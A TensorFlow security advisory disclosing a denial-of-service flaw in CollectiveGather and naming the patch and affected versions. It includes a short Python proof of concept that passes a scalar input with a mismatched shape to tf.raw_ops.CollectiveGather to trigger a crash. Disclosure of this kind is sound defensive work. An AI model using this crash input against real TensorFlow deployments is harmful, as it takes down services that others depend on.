GHSA-fhfc-2q7x-929f: TensorFlow vulnerable to `CHECK` fail in `CollectiveGather`

Impact

When CollectiveGather receives an scalar input input, it gives a CHECK fails that can be used to trigger a denial of service attack.

import tensorflow as tf
arg_0=1
arg_1=1
arg_2=1
arg_3=1
arg_4=(3, 3,3)
arg_5='auto'
arg_6=0
arg_7=''
tf.raw_ops.CollectiveGather(input=arg_0, group_size=arg_1, group_key=arg_2,
                            instance_key=arg_3, shape=arg_4,
                            communication_hint=arg_5, timeout_seconds=arg_6, name=arg_7)

Patches

We have patched the issue in GitHub commit c1f491817dec39a26be3c574e86a88c30f3c4770.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
